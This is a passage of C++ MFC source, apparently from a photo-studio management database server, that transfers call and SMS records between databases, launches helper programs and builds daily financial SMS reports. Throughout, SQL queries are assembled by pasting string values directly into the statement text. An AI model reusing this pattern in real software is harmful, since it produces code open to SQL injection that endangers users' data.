  3705. BOOL CDBServerDlg::Transunknownphonerecordout(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3706. {
  3707. try
  3708. {
  3709. CString sql;
  3710. if (CheckunknownphonerecordoutExist(pdb1, pdb2, id))return 1;
  3711. int i; CString temp;
  3712. int colcount;
  3713. CODBCFieldInfo fieldinfo;
  3714. BOOL ret = 1;
  3715. CRecordset myset(pdb1);
  3716. try
  3717. {
  3718. sql.Format("insert into [%d].[dbo].[unknownphonerecordout] select * from [%s].[dbo].[unknownphonerecordout] where [datetime]='%s'", year, g_nCurConvertDBName, id);
  3719. MyExecuteSQL(pdb1, sql);
  3720. }
  3721. catch (...)
  3722. {
  3723. ret = 0;
  3724. }
  3725. if (ret == 0)return 0;
  3726. return CheckunknownphonerecordoutExist(pdb1, pdb2, id);
  3727. }
  3728. catch (...)
  3729. {
  3730. WriteTextLog("出错在函数trans3中");
  3731. }
  3732. return 0;
  3733. }
  3734. BOOL CDBServerDlg::CheckmisscallrecordExist(CDatabase *pdb1, CDatabase *pdb2, CString id)
  3735. {
  3736. try
  3737. {
  3738. int count1 = 0;
  3739. int count2 = 0;
  3740. CString sql;
  3741. {
  3742. CRecordset myset(pdb1);
  3743. sql = "select count(*) as cot from misscallrecord where [datetime]='" + id + "'";
  3744. myset.Open(CRecordset::forwardOnly, sql);
  3745. myset.GetFieldValue("cot", sql);
  3746. myset.Close();
  3747. count1 = atoi(sql);
  3748. }
  3749. {
  3750. CRecordset myset(pdb2);
  3751. sql = "select count(*) as cot from misscallrecord where [datetime]='" + id + "'";
  3752. myset.Open(CRecordset::forwardOnly, sql);
  3753. myset.GetFieldValue("cot", sql);
  3754. myset.Close();
  3755. count2 = atoi(sql);
  3756. }
  3757. if (count1 > count2)return 0;
  3758. return 1;
  3759. }
  3760. catch (...)
  3761. {
  3762. WriteTextLog("出错在函数check3中");
  3763. }
  3764. return 0;
  3765. }
  3766. BOOL CDBServerDlg::Transmisscallrecord(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3767. {
  3768. try
  3769. {
  3770. CString sql;
  3771. if (CheckmisscallrecordExist(pdb1, pdb2, id))return 1;
  3772. int i;
  3773. CString temp;
  3774. int colcount;
  3775. CODBCFieldInfo fieldinfo;
  3776. BOOL ret = 1;
  3777. CRecordset myset(pdb1);
  3778. try
  3779. {
  3780. sql.Format("insert into [%d].[dbo].[misscallrecord] select * from [%s].[dbo].[misscallrecord] where [datetime]='%s'", year, g_nCurConvertDBName, id);
  3781. MyExecuteSQL(pdb1, sql);
  3782. }
  3783. catch (...)
  3784. {
  3785. ret = 0;
  3786. }
  3787. if (ret == 0)return 0;
  3788. return CheckmisscallrecordExist(pdb1, pdb2, id);
  3789. }
  3790. catch (...)
  3791. {
  3792. WriteTextLog("出错在函数trans3中");
  3793. }
  3794. return 0;
  3795. }
  3796. BOOL CDBServerDlg::CheckSendReg(CDatabase *pdb1, CDatabase *pdb2, CString id)
  3797. {
  3798. try
  3799. {
  3800. int count1 = 0;
  3801. int count2 = 0;
  3802. CString sql;
  3803. {
  3804. CRecordset myset(pdb1);
  3805. sql.Format("select count(*) as cot from sendreg where [timestamp]='%s'", id);
  3806. myset.Open(CRecordset::forwardOnly, sql);
  3807. myset.GetFieldValue("cot", sql);
  3808. myset.Close();
  3809. count1 = atoi(sql);
  3810. }
  3811. {
  3812. CRecordset myset(pdb2);
  3813. sql.Format("select count(*) as cot from sendreg where [timestamp]='%s'", id);
  3814. myset.Open(CRecordset::forwardOnly, sql);
  3815. myset.GetFieldValue("cot", sql);
  3816. myset.Close();
  3817. count2 = atoi(sql);
  3818. }
  3819. if (count1 > count2)return 0;
  3820. return 1;
  3821. }
  3822. catch (...)
  3823. {
  3824. WriteTextLog("出错在函数check3中");
  3825. }
  3826. return 0;
  3827. }
  3828. BOOL CDBServerDlg::TransSendReg(CDatabase *pdb1, CDatabase *pdb2, CString id, int year)
  3829. {
  3830. try
  3831. {
  3832. CString sql;
  3833. if (CheckSendReg(pdb1, pdb2, id))return 1;
  3834. int i;
  3835. CString temp;
  3836. int colcount;
  3837. CODBCFieldInfo fieldinfo;
  3838. BOOL ret = 1;
  3839. CRecordset myset(pdb1);
  3840. try
  3841. {
  3842. sql.Format("insert into [%d].[dbo].[sendreg] select * from [%s].[dbo].[sendreg] where [timestamp]='%s'", year, g_nCurConvertDBName, id);
  3843. MyExecuteSQL(pdb1, sql);
  3844. }
  3845. catch (...)
  3846. {
  3847. ret = 0;
  3848. }
  3849. if (ret == 0)return 0;
  3850. return CheckSendReg(pdb1, pdb2, id);
  3851. }
  3852. catch (...)
  3853. {
  3854. WriteTextLog("出错在函数trans3中");
  3855. }
  3856. return 0;
  3857. }
  3858. void CDBServerDlg::MyExecuteSQL(CDatabase* pdb, CString sql)
  3859. {
  3860. try
  3861. {
  3862. pdb->ExecuteSQL(sql);
  3863. }
  3864. catch ( CDBException *e)
  3865. {
  3866. WriteTextLog(_T("执行SQL语句出错,系统描述:%s"),e->m_strError);
  3867. #ifdef _DEBUG
  3868. e->ReportError();
  3869. #endif
  3870. e->Delete();
  3871. }
  3872. }
  3873. void CDBServerDlg::MyExecuteSQL(const TCHAR* pfile, const int& nline, const TCHAR* pfunction, CDatabase* pdb, CString sql)
  3874. {
  3875. try
  3876. {
  3877. pdb->ExecuteSQL(sql);
  3878. }
  3879. catch ( CDBException *e)
  3880. {
  3881. WriteTextLog(_T("%s-<%d>-%s,执行SQL语句出错,系统描述:%s"), pfile, nline, pfunction,e->m_strError);
  3882. #ifdef _DEBUG
  3883. e->ReportError();
  3884. #endif
  3885. e->Delete();
  3886. }
  3887. }
  3888. void CDBServerDlg::UpdateDate()
  3889. {
  3890. try
  3891. {
  3892. HWND hwnd = ::FindWindow(NULL, "AutoRun.exe - 应用程序错误");
  3893. if (hwnd)
  3894. {
  3895. HWND child = ::FindWindowEx(hwnd, 0, NULL, "确定");
  3896. CWnd *pWnd = CWnd::FromHandle(child);
  3897. ::PostMessage(hwnd, WM_COMMAND, pWnd->GetDlgCtrlID(), (LPARAM)child);
  3898. }
  3899. CString autorunpath = g_mainpath + "\\AutoRun.exe";
  3900. if (0 == g_bConvertHisAll)
  3901. ShellExecute(NULL, _T("open"), g_mainpath + "\\AutoRun.exe", NULL, NULL, SW_HIDE);
  3902. HANDLE hMutex = ::OpenMutex(NULL, FALSE, _T("lyfzSMSHandle"));
  3903. if (GetLastError() == ERROR_FILE_NOT_FOUND)
  3904. {
  3905. autorunpath = g_mainpath + "\\SMSHandle.exe";
  3906. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  3907. }
  3908. if (hMutex) CloseHandle(hMutex);
  3909. #ifdef ENTERPRISE_VERSION
  3910. autorunpath = g_mainpath + "\\DataSyncReceive.exe";
  3911. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  3912. autorunpath = g_mainpath + "\\DataSyncSend.exe";
  3913. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  3914. autorunpath = g_mainpath + "\\CPhotoFTPReceive.exe";
  3915. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  3916. autorunpath = g_mainpath + "\\CPhotoFTPSend.exe";
  3917. ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
  3918. #endif
  3919. }
  3920. catch (...)
  3921. {
  3922. WriteTextLog("出错在函数UpdateDate中");
  3923. }
  3924. }
  3925. BOOL CheckDateOK(CString str)
  3926. {
  3927. try
  3928. {
  3929. CString tip;
  3930. int i;
  3931. CString demo = CTime::GetCurrentTime().Format("%Y-%m-%d");
  3932. if (str.GetLength() != demo.GetLength())
  3933. goto ll;
  3934. //2009-01-01
  3935. if (str.GetAt(4) != '-')
  3936. goto ll;
  3937. if (str.GetAt(7) != '-')
  3938. goto ll;
  3939. for (i = 0; i < str.GetLength(); i++)
  3940. {
  3941. if (i == 4 || i == 7)continue;
  3942. if (str.GetAt(i) < '0' || str.GetAt(i) > '9')
  3943. goto ll;
  3944. }
  3945. }
  3946. catch (...)
  3947. {
  3948. WriteTextLog("出错");
  3949. }
  3950. return 1;
  3951. ll:
  3952. return 0;
  3953. }
  3954. //------------------------------------------------------------------
  3955. // Remark by Jeff:2014.10.11
  3956. // 函数:DelPhoto1
  3957. // 描述:删除指定路径下的订单文件夹;
  3958. // 参数:
  3959. // path: 指定要删除文件的根目录;
  3960. // strOrderNumber: 将要删除的订单号文件夹;
  3961. // 返回:
  3962. //-----------------------------------------------------------------
  3963. BOOL CDBServerDlg::DelPhoto1(CString path, CString strOrderNumber)
  3964. {
  3965. if ( path.IsEmpty() || !PathFileExists(path) )
  3966. {
  3967. //WriteTextLog(_T("路径不存在!"));
  3968. return FALSE;
  3969. }
  3970. path += _T("\\") + strOrderNumber;
  3971. if (PathFileExists(path))
  3972. {
  3973. DeleteDirectory(path);
  3974. return TRUE;
  3975. }
  3976. //WriteTextLog(_T("路径不存在!"));
  3977. return FALSE;
  3978. }
  3979. //-----------------------------------------------------------------------
  3980. // Remark by Jeff 2014.10.22
  3981. // 函数:BakPhoto
  3982. // 描述:对影楼相片进行备份和删除取件相片
  3983. // 参数:#
  3984. // 返回:#
  3985. //
  3986. // 调用关系:
  3987. // 1.BakPhoto()由CDBServerDlg::SetTimer(4) 调用,调用频率2分钟,周期数直到程序结束。
  3988. // 2.CDBServerDlg::SetTimer(4) 由 CDBServerDlg::SetTimer(2) 调用,调用频率10毫秒,只有一个周期。
  3989. // 3.CDBServerDlg::SetTimer(2) 由 CDBServerDlg::OnInitDialog() 调用.
  3990. //-----------------------------------------------------------------------
  3991. void CDBServerDlg::BakPhoto() // Jeff:备份相片/删除取件相片;
  3992. {
  3993. try
  3994. {
  3995. CDatabase *pMaindb = NULL;
  3996. ODBCConnGuard ConnGuard(pMaindb, -1, 3000);
  3997. if ( pMaindb == NULL )
  3998. return;
  3999. CString m_bak1, m_bak2, m_bak3, m_bak4, m_bak6, m_baktime; // Jeff:m_bak6自动备份完毕后自动关机;
  4000. CString m_bakserver1, m_bakserver2, m_bakserver3, m_bakserver4;
  4001. CString msgcheck4, msgtime, msgphones, msgphones2, msgcompanyname;
  4002. CString balance, msgaccount;
  4003. {
  4004. MyLock lock("dbaccessxiao");
  4005. CRstversion rsSt;
  4006. rsSt.m_pDatabase = pMaindb;
  4007. rsSt.Open();
  4008. if (!rsSt.IsEOF())
  4009. {
  4010. m_bak1 = rsSt.m_bak1;
  4011. m_bak2 = rsSt.m_bak2;
  4012. m_bak3 = rsSt.m_bak3;
  4013. m_bak4 = rsSt.m_bak4;
  4014. m_bakserver1 = rsSt.m_bakserver1;
  4015. m_bakserver2 = rsSt.m_bakserver2;
  4016. m_bakserver3 = rsSt.m_bakserver3;
  4017. m_bakserver4 = rsSt.m_bakserver4;
  4018. m_bak6 = rsSt.m_bak6;
  4019. m_baktime = rsSt.m_baktime;
  4020. msgcheck4 = rsSt.msgcheck4;
  4021. msgtime = rsSt.msgtime;
  4022. msgphones = rsSt.msgphones;
  4023. msgphones2 = rsSt.msgphones2;
  4024. msgcompanyname = rsSt.msgcompanyname;
  4025. balance = rsSt.msgbalance;
  4026. msgaccount = rsSt.msgaccount;
  4027. }
  4028. rsSt.Close();
  4029. }
  4030. /////////////检测发短信回财务
  4031. if (msgphones2.IsEmpty() == 0)
  4032. {
  4033. MyLock lock("dbaccessxiao");
  4034. CStringArray array, timearray;
  4035. CString timestamp;
  4036. timestamp = CTime::GetCurrentTime().Format("%Y-%m-%d");
  4037. timestamp += "%";
  4038. CRecordset myset(pMaindb);
  4039. CString sql = "select phones,timestamp from sendregreceive where [timestamp] like '" + timestamp + "' and [content]='001' and [status]='OK'";
  4040. myset.Open(CRecordset::forwardOnly, sql);
  4041. CString phones;
  4042. while (!myset.IsEOF())
  4043. {
  4044. myset.GetFieldValue("phones", phones);
  4045. myset.GetFieldValue("timestamp", timestamp);
  4046. if (msgphones2.Find(phones) != -1)
  4047. {
  4048. array.Add(phones);
  4049. timearray.Add(timestamp);
  4050. }
  4051. myset.MoveNext();
  4052. }
  4053. myset.Close();
  4054. if (array.GetSize())
  4055. {
  4056. CString sql;
  4057. int i = 0;
  4058. //for (int i = 0; i < array.GetSize(); i++)
  4059. for ( i = 0; i < array.GetSize(); i++)
  4060. {
  4061. sql = "update sendregreceive set [status]='' where [timestamp]='" + timearray.ElementAt(i) + "'";
  4062. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  4063. }
  4064. CArray<CStringArray, CStringArray>List11array;
  4065. CArray<CStringArray, CStringArray>List2array;
  4066. CArray<CStringArray, CStringArray>List3array;
  4067. CArray<CStringArray, CStringArray>other2salearray;
  4068. CArray<CStringArray, CStringArray>memberarray;
  4069. CString strdate = CTime::GetCurrentTime().Format("%Y-%m-%d");
  4070. for( int a = g_dbpool.GetSize(); a >= 0 ;a-- )
  4071. {
  4072. CDatabase *pCurdb = NULL;
  4073. ODBCConnGuard ConnGuard1(pCurdb , a - 1, 3000);
  4074. if ( pCurdb == NULL )
  4075. continue;
  4076. CString filter = "[dat]='" + strdate + "'";
  4077. filter = "[dat]='" + strdate + "' and ([sale2type] is null or [sale2type]='')";
  4078. {
  4079. CRecordset myset(pCurdb);
  4080. CString sql = "select count(*) as cot from singleincome"; if (!filter.IsEmpty())sql += " where " + filter;
  4081. myset.Open(CRecordset::forwardOnly, sql);
  4082. myset.GetFieldValue("cot", sql);
  4083. myset.Close();
  4084. int count = atol(sql);
  4085. int oldsize = List2array.GetSize();
  4086. List2array.SetSize(oldsize + count, 1);
  4087. CRstIncomeInput rsSt; rsSt.m_pDatabase = pCurdb; if (!filter.IsEmpty())rsSt.m_strFilter = filter;
  4088. rsSt.Open();
  4089. int ii = 0;
  4090. while (!rsSt.IsEOF())
  4091. {
  4092. List2array.ElementAt(oldsize + ii).RemoveAll();
  4093. List2array.ElementAt(oldsize + ii).Add(rsSt.id);
  4094. List2array.ElementAt(oldsize + ii).Add(rsSt.name);
  4095. List2array.ElementAt(oldsize + ii).Add(rsSt.money);
  4096. List2array.ElementAt(oldsize + ii).Add(rsSt.date);
  4097. List2array.ElementAt(oldsize + ii).Add(rsSt.renyuan1);
  4098. List2array.ElementAt(oldsize + ii).Add(rsSt.renyuan2);
  4099. List2array.ElementAt(oldsize + ii).Add(rsSt.renyuan3);
  4100. List2array.ElementAt(oldsize + ii).Add(rsSt.bz);
  4101. List2array.ElementAt(oldsize + ii).Add(rsSt.sale2type);
  4102. ii++;
  4103. rsSt.MoveNext(); if (List2array.GetSize() <= ii)break;
  4104. }
  4105. rsSt.Close(); List2array.SetSize(oldsize + ii, 1);
  4106. }
  4107. filter = "[dat]='" + strdate + "'";
  4108. {
  4109. CRecordset myset(pCurdb);
  4110. CString sql = "select count(*) as cot from gudingfeiyong"; if (!filter.IsEmpty())sql += " where " + filter;
  4111. myset.Open(CRecordset::forwardOnly, sql);
  4112. myset.GetFieldValue("cot", sql);
  4113. myset.Close();
  4114. int count = atol(sql);
  4115. int oldsize = List3array.GetSize();
  4116. List3array.SetSize(oldsize + count, 1);
  4117. CRstPayOutInput rsSt; rsSt.m_pDatabase = pCurdb; if (!filter.IsEmpty())rsSt.m_strFilter = filter;
  4118. rsSt.Open();
  4119. int ii = 0;
  4120. while (!rsSt.IsEOF())
  4121. {
  4122. List3array.ElementAt(oldsize + ii).RemoveAll();
  4123. List3array.ElementAt(oldsize + ii).Add(rsSt.id);
  4124. List3array.ElementAt(oldsize + ii).Add(rsSt.name);
  4125. List3array.ElementAt(oldsize + ii).Add(rsSt.money);
  4126. List3array.ElementAt(oldsize + ii).Add(rsSt.date);
  4127. List3array.ElementAt(oldsize + ii).Add(rsSt.renyuan1);
  4128. List3array.ElementAt(oldsize + ii).Add(rsSt.renyuan2);
  4129. List3array.ElementAt(oldsize + ii).Add(rsSt.bz);
  4130. ii++;
  4131. rsSt.MoveNext(); if (List3array.GetSize() <= ii)break;
  4132. }
  4133. rsSt.Close(); List3array.SetSize(oldsize + ii, 1);
  4134. }
  4135. filter = "[date]='" + strdate + "'";
  4136. {
  4137. CRecordset myset(pCurdb);
  4138. CString sql = "select count(*) as cot from dindanbukuan"; if (!filter.IsEmpty())sql += " where " + filter;
  4139. myset.Open(CRecordset::forwardOnly, sql);
  4140. myset.GetFieldValue("cot", sql);
  4141. myset.Close();
  4142. int count = atol(sql);
  4143. int oldsize = List11array.GetSize();
  4144. List11array.SetSize(oldsize + count, 1);
  4145. CRstBuKuan rsSt; rsSt.m_pDatabase = pCurdb; if (!filter.IsEmpty())rsSt.m_strFilter = filter;
  4146. rsSt.Open();
  4147. int ii = 0;
  4148. while (!rsSt.IsEOF())
  4149. {
  4150. List11array.ElementAt(oldsize + ii).RemoveAll();
  4151. List11array.ElementAt(oldsize + ii).Add(rsSt.m_id);
  4152. List11array.ElementAt(oldsize + ii).Add(rsSt.m_ren);
  4153. List11array.ElementAt(oldsize + ii).Add(rsSt.m_money);
  4154. List11array.ElementAt(oldsize + ii).Add(rsSt.m_bz);
  4155. List11array.ElementAt(oldsize + ii).Add(rsSt.m_kind);
  4156. List11array.ElementAt(oldsize + ii).Add(rsSt.m_date);
  4157. ii++;
  4158. rsSt.MoveNext(); if (List11array.GetSize() <= ii)break;
  4159. }
  4160. rsSt.Close(); List11array.SetSize(oldsize + ii, 1);
  4161. }
  4162. filter = "[date]='" + strdate + "'";
  4163. {
  4164. CRecordset myset(pCurdb);
  4165. CString sql = "select count(*) as cot from singleincomemoneyview"; if (!filter.IsEmpty())sql += " where " + filter;
  4166. myset.Open(CRecordset::forwardOnly, sql);
  4167. myset.GetFieldValue("cot", sql);
  4168. myset.Close();
  4169. int count = atol(sql);
  4170. int oldsize = other2salearray.GetSize();
  4171. other2salearray.SetSize(oldsize + count, 1);
  4172. CRstsingleincomemoneyview rsSt; rsSt.m_pDatabase = pCurdb; if (!filter.IsEmpty())rsSt.m_strFilter = filter;
  4173. rsSt.Open();
  4174. int ii = 0;
  4175. while (!rsSt.IsEOF())
  4176. {
  4177. other2salearray.ElementAt(oldsize + ii).RemoveAll();
  4178. other2salearray.ElementAt(oldsize + ii).Add(rsSt.name);
  4179. other2salearray.ElementAt(oldsize + ii).Add(rsSt.renyuan1);
  4180. other2salearray.ElementAt(oldsize + ii).Add(rsSt.renyuan3);
  4181. other2salearray.ElementAt(oldsize + ii).Add(rsSt.sale2type);
  4182. other2salearray.ElementAt(oldsize + ii).Add(rsSt.money);
  4183. other2salearray.ElementAt(oldsize + ii).Add(rsSt.date);
  4184. other2salearray.ElementAt(oldsize + ii).Add(rsSt.clerk);
  4185. other2salearray.ElementAt(oldsize + ii).Add(rsSt.paytype);
  4186. other2salearray.ElementAt(oldsize + ii).Add(rsSt.autoid);
  4187. other2salearray.ElementAt(oldsize + ii).Add(rsSt.financecheck);
  4188. ii++;
  4189. rsSt.MoveNext(); if (other2salearray.GetSize() <= ii)break;
  4190. }
  4191. rsSt.Close(); other2salearray.SetSize(oldsize + ii, 1);
  4192. }
  4193. filter = "[date]='" + strdate + "'";
  4194. {
  4195. CRecordset myset(pCurdb);
  4196. CString sql = "select count(*) as cot from memberview";
  4197. if (!filter.IsEmpty())
  4198. sql += " where " + filter;
  4199. myset.Open(CRecordset::forwardOnly, sql);
  4200. myset.GetFieldValue("cot", sql);
  4201. myset.Close();
  4202. int count = atol(sql);
  4203. int oldsize = memberarray.GetSize();
  4204. memberarray.SetSize(oldsize + count, 1);
  4205. memberviewReg rsSt;
  4206. rsSt.m_pDatabase = pCurdb;
  4207. if (!filter.IsEmpty())
  4208. rsSt.m_strFilter = filter;
  4209. rsSt.Open();
  4210. DWORD ii = 0;
  4211. while (!rsSt.IsEOF())
  4212. {
  4213. memberarray.ElementAt(oldsize + ii).RemoveAll();
  4214. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_id);
  4215. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_memberno);
  4216. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_name);
  4217. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_money);
  4218. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_date);
  4219. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_clerk);
  4220. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_financecheck);
  4221. memberarray.ElementAt(oldsize + ii).Add(rsSt.m_moneytype);
  4222. ii++;
  4223. rsSt.MoveNext(); if (memberarray.GetSize() <= ii)break;
  4224. }
  4225. rsSt.Close(); memberarray.SetSize(oldsize + ii, 1);
  4226. }
  4227. }//
  4228. CString str;
  4229. int pos = 0;
  4230. int dindanshu = 0;
  4231. float income = 0;
  4232. float incomedd = 0;
  4233. float incomebk = 0;
  4234. float incomehq = 0;
  4235. float incomeqt = 0;
  4236. float payout = 0;
  4237. for (i = 0; i < List11array.GetSize(); i++)
  4238. {
  4239. str = List11array.ElementAt(i).ElementAt(2);
  4240. income += atof(str);
  4241. // income2+=atof(str);
  4242. if (List11array.ElementAt(i).ElementAt(3) == "预约收款")
  4243. {
  4244. incomedd += atof(str);
  4245. dindanshu++;
  4246. }
  4247. else if (List11array.ElementAt(i).ElementAt(3) == "预约补款")
  4248. {
  4249. incomebk += atof(str);
  4250. }
  4251. else
  4252. {
  4253. incomehq += atof(str);
  4254. }
  4255. pos++;
  4256. }
  4257. for (i = 0; i < List2array.GetSize(); i++)
  4258. {
  4259. str = List2array.ElementAt(i).ElementAt(2);
  4260. income += atof(str);
  4261. /* if(List2array.ElementAt (i).ElementAt (8)!="")
  4262. {
  4263. income2+=atof(str);
  4264. }*/
  4265. if (List2array.ElementAt(i).ElementAt(8) == "")
  4266. {
  4267. incomeqt += atof(str);
  4268. }
  4269. pos++;
  4270. }
  4271. for (i = 0; i < List3array.GetSize(); i++)
  4272. {
  4273. str = List3array.ElementAt(i).ElementAt(2);
  4274. payout += atof(str);
  4275. pos++;
  4276. }
  4277. for (i = 0; i < other2salearray.GetSize(); i++)
  4278. {
  4279. str = other2salearray.ElementAt(i).ElementAt(4);
  4280. income += atof(str);
  4281. incomehq += atof(str);
  4282. pos++;
  4283. }
  4284. for (i = 0; i < memberarray.GetSize(); i++)
  4285. {
  4286. str = memberarray.ElementAt(i).ElementAt(3);
  4287. income += atof(str);
  4288. pos++;
  4289. }
  4290. CTime tm = CTime::GetCurrentTime();
  4291. CString content = msgcompanyname + tm.Format("%Y-%m-%d");
  4292. content += "财报:";
  4293. str.Format("%d", (int)income);
  4294. ::ConvertToPrice(str);
  4295. content += "收:" + str;
  4296. str.Format("%d", (int)incomedd);
  4297. ::ConvertToPrice(str);
  4298. content += "定:" + str;
  4299. str.Format("%d", (int)incomebk);
  4300. ::ConvertToPrice(str);
  4301. content += "补:" + str;
  4302. str.Format("%d", (int)incomehq);
  4303. ::ConvertToPrice(str);
  4304. content += "后:" + str;
  4305. str.Format("%d", (int)incomeqt);
  4306. ::ConvertToPrice(str);
  4307. content += "其它:" + str;
  4308. str.Format("%d", (int)payout);
  4309. ::ConvertToPrice(str);
  4310. content += "支出:" + str;
  4311. str.Format("%d", (int)(income - payout));
  4312. ::ConvertToPrice(str);
  4313. content += "净收:" + str;
  4314. str.Format("%d", dindanshu);
  4315. content += "定单:" + str;
  4316. if (msgaccount != "")
  4317. {
  4318. if (atoi(balance) < 200)
  4319. {
  4320. content += "您的余额小于两百条,请及时充值。联系电话4006067068";
  4321. }
  4322. else if (atoi(balance) < 500)
  4323. {
  4324. content += "您的余额小于五百条,请及时充值。联系电话4006067068";
  4325. }
  4326. else if (atoi(balance) < 800)
  4327. {
  4328. content += "您的余额小于八百条,请及时充值。联系电话4006067068";
  4329. }
  4330. else if (atoi(balance) < 1000)
  4331. {
  4332. content += "您的余额小于一千条,请及时充值。联系电话4006067068";
  4333. }
  4334. }
  4335. int count = GetLengthEx(content) / MSG_LENGTH;
  4336. if (GetLengthEx(content) % MSG_LENGTH)
  4337. count++;
  4338. int phonenum = 0;
  4339. phonenum = 1;
  4340. count *= phonenum;
  4341. CString scount;
  4342. scount.Format("%d", count);
  4343. CString timestamp = tm.Format("%Y%m%d%H%M%S");
  4344. for (i = 0; i < 1; i++)
  4345. {
  4346. sql = "insert into sendreg([phones],[content],[timestamp],[msgcount],[status],[issended],[isautosend],[ren]) values('" + array.ElementAt(i) + "','" + content + "','" + timestamp + "','" + scount + "','0','0','0','系统自动发送')";
  4347. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  4348. }
  4349. }
  4350. }
  4351. /////////////
  4352. if (atoi(msgcheck4) && msgphones != "")
  4353. {//发老板短信
  4354. if (atoi(msgtime) <= CTime::GetCurrentTime().GetHour())
  4355. {
  4356. MyLock lock("dbaccessxiao");
  4357. CString timestamp;
  4358. timestamp = CTime::GetCurrentTime().Format("%Y%m%d");
  4359. timestamp += "%";
  4360. CRecordset myset(pMaindb);
  4361. CString sql = "select count(*) as cot from sendreg where [timestamp] like '" + timestamp + "' and [phones]='" + msgphones + "' and [isautosend]='3'";
  4362. myset.Open(CRecordset::forwardOnly, sql);
  4363. myset.GetFieldValue("cot", sql);
  4364. myset.Close();
  4365. int count = atol(sql);
  4366. if (count == 0)
  4367. {
  4368. CArray<CStringArray, CStringArray>List11array;
  4369. CArray<CStringArray, CStringArray>List2array;
  4370. CArray<CStringArray, CStringArray>List3array;
  4371. CArray<CStringArray, CStringArray>other2salearray;
  4372. CArray<CStringArray, CStringArray>memberarray;
  4373. CString strdate = CTime::GetCurrentTime().Format("%Y-%m-%d");
  4374. for (int a = g_dbpool.GetSize() - 1; a >= 0; a--)
  4375. {
  4376. CDatabase *pCurdb = NULL;
  4377. ODBCConnGuard ConnGuard(pCurdb , a - 1, 3000);
  4378. if ( pCurdb == NULL )
  4379. continue;
  4380. CString filter = "[dat]='" + strdate + "'";
  4381. filter = "[dat]='" + strdate + "' and ([sale2type] is null or [sale2type]='')";
  4382. {
  4383. CRecordset myset(pCurdb);
  4384. CString sql = "select count(*) as cot from singleincome"; if (!filter.IsEmpty())sql += " where " + filter;
  4385. myset.Open(CRecordset::forwardOnly, sql);
  4386. myset.GetFieldValue("cot", sql);
  4387. myset.Close();
  4388. int count = atol(sql);
  4389. int oldsize = List2array.GetSize();
  4390. List2array.SetSize(oldsize + count, 1);
  4391. CRstIncomeInput rsSt; rsSt.m_pDatabase = pCurdb; if (!filter.IsEmpty())rsSt.m_strFilter = filter;
  4392. rsSt.Open();
  4393. int ii = 0;
  4394. while (!rsSt.IsEOF())
  4395. {
  4396. List2array.ElementAt(oldsize + ii).RemoveAll();
  4397. List2array.ElementAt(oldsize + ii).Add(rsSt.id);
  4398. List2array.ElementAt(oldsize + ii).Add(rsSt.name);
  4399. List2array.ElementAt(oldsize + ii).Add(rsSt.money);
  4400. List2array.ElementAt(oldsize + ii).Add(rsSt.date);
  4401. List2array.ElementAt(oldsize + ii).Add(rsSt.renyuan1);
  4402. List2array.ElementAt(oldsize + ii).Add(rsSt.renyuan2);
  4403. List2array.ElementAt(oldsize + ii).Add(rsSt.renyuan3);
  4404. List2array.ElementAt(oldsize + ii).Add(rsSt.bz);
  4405. List2array.ElementAt(oldsize + ii).Add(rsSt.sale2type);
  4406. ii++;
  4407. rsSt.MoveNext(); if (List2array.GetSize() <= ii)break;
  4408. }
  4409. rsSt.Close(); List2array.SetSize(oldsize + ii, 1);
  4410. }
  4411. filter = "[dat]='" + strdate + "'";
  4412. {
  4413. CRecordset myset(pCurdb);
  4414. CString sql = "select count(*) as cot from gudingfeiyong"; if (!filter.IsEmpty())sql += " where " + filter;
  4415. myset.Open(CRecordset::forwardOnly, sql);
  4416. myset.GetFieldValue("cot", sql);
  4417. myset.Close();
  4418. int count = atol(sql);
  4419. int oldsize = List3array.GetSize();
  4420. List3array.SetSize(oldsize + count, 1);
  4421. CRstPayOutInput rsSt; rsSt.m_pDatabase = pCurdb; if (!filter.IsEmpty())rsSt.m_strFilter = filter;
  4422. rsSt.Open();
  4423. int ii = 0;
  4424. while (!rsSt.IsEOF())
  4425. {
  4426. List3array.ElementAt(oldsize + ii).RemoveAll();
  4427. List3array.ElementAt(oldsize + ii).Add(rsSt.id);
  4428. List3array.ElementAt(oldsize + ii).Add(rsSt.name);
  4429. List3array.ElementAt(oldsize + ii).Add(rsSt.money);
  4430. List3array.ElementAt(oldsize + ii).Add(rsSt.date);
  4431. List3array.ElementAt(oldsize + ii).Add(rsSt.renyuan1);
  4432. List3array.ElementAt(oldsize + ii).Add(rsSt.renyuan2);
  4433. List3array.ElementAt(oldsize + ii).Add(rsSt.bz);
  4434. ii++;
  4435. rsSt.MoveNext(); if (List3array.GetSize() <= ii)break;
  4436. }
  4437. rsSt.Close(); List3array.SetSize(oldsize + ii, 1);
  4438. }
  4439. filter = "[date]='" + strdate + "'";
  4440. {
  4441. CRecordset myset(pCurdb);
  4442. CString sql = "select count(*) as cot from dindanbukuan"; if (!filter.IsEmpty())sql += " where " + filter;
  4443. myset.Open(CRecordset::forwardOnly, sql);
  4444. myset.GetFieldValue("cot", sql);
  4445. myset.Close();
  4446. int count = atol(sql);
  4447. int oldsize = List11array.GetSize();
  4448. List11array.SetSize(oldsize + count, 1);
  4449. CRstBuKuan rsSt; rsSt.m_pDatabase = pCurdb; if (!filter.IsEmpty())rsSt.m_strFilter = filter;
  4450. rsSt.Open();
  4451. int ii = 0;
  4452. while (!rsSt.IsEOF())
  4453. {
  4454. List11array.ElementAt(oldsize + ii).RemoveAll();
  4455. List11array.ElementAt(oldsize + ii).Add(rsSt.m_id);
  4456. List11array.ElementAt(oldsize + ii).Add(rsSt.m_ren);
